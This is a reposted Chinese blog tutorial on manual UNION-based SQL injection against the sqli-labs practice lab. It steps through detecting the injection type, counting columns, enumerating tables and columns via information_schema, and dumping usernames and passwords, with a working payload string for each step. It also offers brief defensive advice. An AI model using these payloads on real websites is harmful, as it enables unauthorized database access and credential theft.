欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 财经 > 产业 > SQL注入-手工注入

SQL注入-手工注入

2025/2/25 5:14:15 来源:https://blog.csdn.net/qq_51502737/article/details/141020229  浏览:    关键词:SQL注入-手工注入

文章目录

  • 判断是否存在SQL注入点
  • 联合查询(两表之间列数必须相同)
    • ①首先明确表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
    • ②爆出显示位,了解表格中的哪一列是在页面显示。
    • ③获取当前数据名和版本号,涉及MySQL的一些函数。
    • ④爆表
    • ⑤爆字段名
    • ⑥爆账号密码

判断是否存在SQL注入点

在这里插入图片描述
进入sqli-labs后提示输入ID作为参数
这里分别输入?id=1?id=2进行测试可以看到以下界面:
在这里插入图片描述
在这里插入图片描述

根据结果可判断出该注入为字符型注入,且该页面存在回显,所以我们可以使用联合查询

在进行安全测试时,我们可以通过特定的方法来判断网页是否存在SQL注入漏洞,特别是区分字符型和数字型注入:

  1. 数字型注入测试
  • 首先,尝试使用查询参数?id=1 and 1=1访问页面。如果页面显示正常,并且与原始页面无异,这表明SQL查询可能正常执行。
  • 接着,更改查询参数为?id=1 and 1=2。如果此时页面报错或部分数据显示异常,这通常意味着SQL查询条件被正确解析,且页面对条件的真假值有反应。这种情况下,我们可以推断存在数字型SQL注入的风险。
  1. 字符型注入测试
  • 同样,先使用?id=1' and 1=1--+作为查询参数访问页面。如果页面能够正常显示,并且与原始页面保持一致,说明SQL查询能够处理引号内的特殊字符。
  • 然后,将查询参数改为?id=1' and 1=2--+。如果页面此时出现错误或数据展示不完整,这通常意味着SQL查询在处理引号内的特殊字符时遇到了问题。这可能表明存在字符型SQL注入的漏洞。
    通过以上测试,我们可以较为准确地判断出网页是否容易受到SQL注入攻击,并识别出注入的类型。这种测试方法有助于开发人员在设计和维护网站时,采取相应的安全措施来防范潜在的安全风险。

联合查询(两表之间列数必须相同)

①首先明确表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1'order by 3 --+
在这里插入图片描述
通过改变SQL语句,经测试发现此此表有3列。

②爆出显示位,了解表格中的哪一列是在页面显示。

?id=-1'union select 1,2,3--+
在这里插入图片描述

③获取当前数据名和版本号,涉及MySQL的一些函数。

?id=-1'union select 1,database(),version()--+
在这里插入图片描述
通过结果可知当前表所处的数据库是security,版本是5.7.26

④爆表

在MySQL数据库中,information_schema 是一个特殊的数据库,它包含了关于MySQL服务器上所有其他数据库的元数据。这些元数据包括了数据库名、表名、列名、索引信息等。information_schema 是一个信息库,它提供了一种查询数据库结构的方式,而不需要访问实际的数据。
在SQL注入攻击中,攻击者可能会尝试利用 information_schema 来获取数据库的结构信息,例如:

  • table_schema:数据库名。
  • table_name:表名。
  • column_name:列名。
    攻击者通过构造特定的SQL查询,可以查询 information_schema.tablesinformation_schema.columns 来获取所需信息。例如:
    SELECT table_name FROM information_schema.tables WHERE table_schema = '数据库名';
    这条查询会返回指定数据库中所有表的名称。
    SELECT column_name FROM information_schema.columns WHERE table_schema = '数据库名' AND table_name = '表名';
    这条查询会返回指定数据库和表中所有列的名称。
    为了防止这种风险,应该采取适当的安全措施,比如限制对 information_schema 的访问权限,对数据库进行定期的安全审查,以及使用参数化查询来防止SQL注入。

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
在这里插入图片描述
通过结果可知当前security库下有四张表,并且users表最有可能存放用户信息

⑤爆字段名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查询information_schema数据库下的columns表里users的列名:
在这里插入图片描述

⑥爆账号密码

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
在这里插入图片描述
这样就爆出各个用户的账号密码了

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词